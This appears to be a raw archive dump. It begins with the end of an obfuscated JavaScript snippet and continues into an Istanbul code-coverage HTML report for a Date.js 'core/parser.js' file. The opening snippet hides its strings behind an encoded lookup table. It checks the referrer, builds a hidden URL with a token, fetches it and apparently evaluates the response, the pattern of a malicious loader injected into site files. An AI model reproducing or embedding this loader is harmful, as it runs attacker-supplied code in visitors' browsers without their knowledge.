t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};parser.js.html000066600000070127152444006550007361 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/parser.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header medium">
    <h1>Code coverage report for <span class="entity">core/parser.js</span></h1>
    <h2>
        
        Statements: <span class="metric">72.34% <small>(34 / 47)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">87.5% <small>(28 / 32)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">62.5% <small>(5 / 8)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">72.34% <small>(34 / 47)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; parser.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">620</span>
<span class="cline-any cline-yes">620</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">614</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">611</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">449</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">611</span>
<span class="cline-any cline-yes">81</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $D = Date;
&nbsp;
	/**
	 * @desc Converts the specified string value into its JavaScript Date equivalent using CultureInfo specific format information.
	 * 
	 * Example
	&lt;pre&gt;&lt;code&gt;
	///////////
	// Dates //
	///////////
&nbsp;
	// 15-Oct-2004
	var d1 = Date.parse("10/15/2004");
&nbsp;
	// 15-Oct-2004
	var d1 = Date.parse("15-Oct-2004");
&nbsp;
	// 15-Oct-2004
	var d1 = Date.parse("2004.10.15");
&nbsp;
	//Fri Oct 15, 2004
	var d1 = Date.parse("Fri Oct 15, 2004");
&nbsp;
	///////////
	// Times //
	///////////
&nbsp;
	// Today at 10 PM.
	var d1 = Date.parse("10 PM");
&nbsp;
	// Today at 10:30 PM.
	var d1 = Date.parse("10:30 P.M.");
&nbsp;
	// Today at 6 AM.
	var d1 = Date.parse("06am");
&nbsp;
	/////////////////////
	// Dates and Times //
	/////////////////////
&nbsp;
	// 8-July-2004 @ 10:30 PM
	var d1 = Date.parse("July 8th, 2004, 10:30 PM");
&nbsp;
	// 1-July-2004 @ 10:30 PM
	var d1 = Date.parse("2004-07-01T22:30:00");
&nbsp;
	////////////////////
	// Relative Dates //
	////////////////////
&nbsp;
	// Returns today's date. The string "today" is culture specific.
	var d1 = Date.parse("today");
&nbsp;
	// Returns yesterday's date. The string "yesterday" is culture specific.
	var d1 = Date.parse("yesterday");
&nbsp;
	// Returns the date of the next thursday.
	var d1 = Date.parse("Next thursday");
&nbsp;
	// Returns the date of the most previous monday.
	var d1 = Date.parse("last monday");
&nbsp;
	// Returns today's day + one year.
	var d1 = Date.parse("next year");
&nbsp;
	///////////////
	// Date Math //
	///////////////
&nbsp;
	// Today + 2 days
	var d1 = Date.parse("t+2");
&nbsp;
	// Today + 2 days
	var d1 = Date.parse("today + 2 days");
&nbsp;
	// Today + 3 months
	var d1 = Date.parse("t+3m");
&nbsp;
	// Today - 1 year
	var d1 = Date.parse("today - 1 year");
&nbsp;
	// Today - 1 year
	var d1 = Date.parse("t-1y"); 
&nbsp;
&nbsp;
	/////////////////////////////
	// Partial Dates and Times //
	/////////////////////////////
&nbsp;
	// July 15th of this year.
	var d1 = Date.parse("July 15");
&nbsp;
	// 15th day of current day and year.
	var d1 = Date.parse("15");
&nbsp;
	// July 1st of current year at 10pm.
	var d1 = Date.parse("7/1 10pm");
	&lt;/code&gt;&lt;/pre&gt;
	 *
	 * @param {String}   The string value to convert into a Date object [Required]
	 * @return {Date}    A Date object or null if the string cannot be converted into a Date.
	 */
	var parseUtils = {
		removeOrds: function (s) {
			ords = s.match(/\b(\d+)(?:st|nd|rd|th)\b/); // find ordinal matches
			s = ((ords &amp;&amp; ords.length === 2) ? s.replace(ords[0], ords[1]) : s);
			return s;
		},
		grammarParser: function (s) {
			var r = null;
			try {
				r = $D.Grammar.start.call({}, s.replace(/^\s*(\S*(\s+\S+)*)\s*$/, "$1"));
			} catch (e) {
<span class="cstat-no" title="statement not covered" >				return null;</span>
			}
			
			return ((r[1].length === 0) ? r[0] : null);
		},
		nativeFallback: function(s) {
			var t;
			try {
				// ok we haven't parsed it, last ditch attempt with the built-in parser.
				t = Date._parse(s);
				return (t || t === 0) ? <span class="branch-0 cbranch-no" title="branch not covered" >new Date(t) </span>: null;
			} catch (e) {
<span class="cstat-no" title="statement not covered" >				return null;</span>
			}
		}
	};
	function parse (s) {
		var d;
		if (!s) {
			return null;
		}
		if (s instanceof Date) {
			return s.clone();
		}
		if (s.length &gt;= 4 &amp;&amp; s.charAt(0) !== "0" &amp;&amp; s.charAt(0) !== "+"&amp;&amp; s.charAt(0) !== "-") { // ie: 2004 will pass, 0800 won't.
			//  Start with specific formats
			d = $D.Parsing.ISO.parse(s) || $D.Parsing.Numeric.parse(s);
		}
		if (d instanceof Date &amp;&amp; !isNaN(d.getTime())) {
			return d;
		} else {
			// find ordinal dates (1st, 3rd, 8th, etc and remove them as they cause parsing issues)
			s = $D.Parsing.Normalizer.parse(parseUtils.removeOrds(s));
			d = parseUtils.grammarParser(s);
			if (d !== null) {
				return d;
			} else {
				return parseUtils.nativeFallback(s);
			}
		}
	}
&nbsp;
	<span class="missing-if-branch" title="else path not taken" >E</span>if (!$D._parse) {
		$D._parse = $D.parse;
	}
	$D.parse = parse;
&nbsp;
	Date.getParseFunction = <span class="fstat-no" title="function not covered" >function (fx) {</span>
<span class="cstat-no" title="statement not covered" >		var fns = Date.Grammar.allformats(fx);</span>
<span class="cstat-no" title="statement not covered" >		return <span class="fstat-no" title="function not covered" >function (s) {</span></span>
<span class="cstat-no" title="statement not covered" >			var r = null;</span>
<span class="cstat-no" title="statement not covered" >			for (var i = 0; i &lt; fns.length; i++) {</span>
<span class="cstat-no" title="statement not covered" >				try {</span>
<span class="cstat-no" title="statement not covered" >					r = fns[i].call({}, s);</span>
				} catch (e) {
<span class="cstat-no" title="statement not covered" >					continue;</span>
				}
<span class="cstat-no" title="statement not covered" >				if (r[1].length === 0) {</span>
<span class="cstat-no" title="statement not covered" >					return r[0];</span>
				}
			}
<span class="cstat-no" title="statement not covered" >			return null;</span>
		};
	};
	
	/**
	 * Converts the specified string value into its JavaScript Date equivalent using the specified format {String} or formats {Array} and the CultureInfo specific format information.
	 * The format of the string value must match one of the supplied formats exactly.
	 * 
	 * Example
	&lt;pre&gt;&lt;code&gt;
	// 15-Oct-2004
	var d1 = Date.parseExact("10/15/2004", "M/d/yyyy");
&nbsp;
	// 15-Oct-2004
	var d1 = Date.parse("15-Oct-2004", "M-ddd-yyyy");
&nbsp;
	// 15-Oct-2004
	var d1 = Date.parse("2004.10.15", "yyyy.MM.dd");
&nbsp;
	// Multiple formats
	var d1 = Date.parseExact("10/15/2004", ["M/d/yyyy", "MMMM d, yyyy"]);
	&lt;/code&gt;&lt;/pre&gt;
	 *
	 * @param {String}   The string value to convert into a Date object [Required].
	 * @param {Object}   The expected format {String} or an array of expected formats {Array} of the date string [Required].
	 * @return {Date}    A Date object or null if the string cannot be converted into a Date.
	 */
	$D.parseExact = <span class="fstat-no" title="function not covered" >function (s, fx) {</span>
<span class="cstat-no" title="statement not covered" >		return $D.getParseFunction(fx)(s);</span>
	};
}());
&nbsp;</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
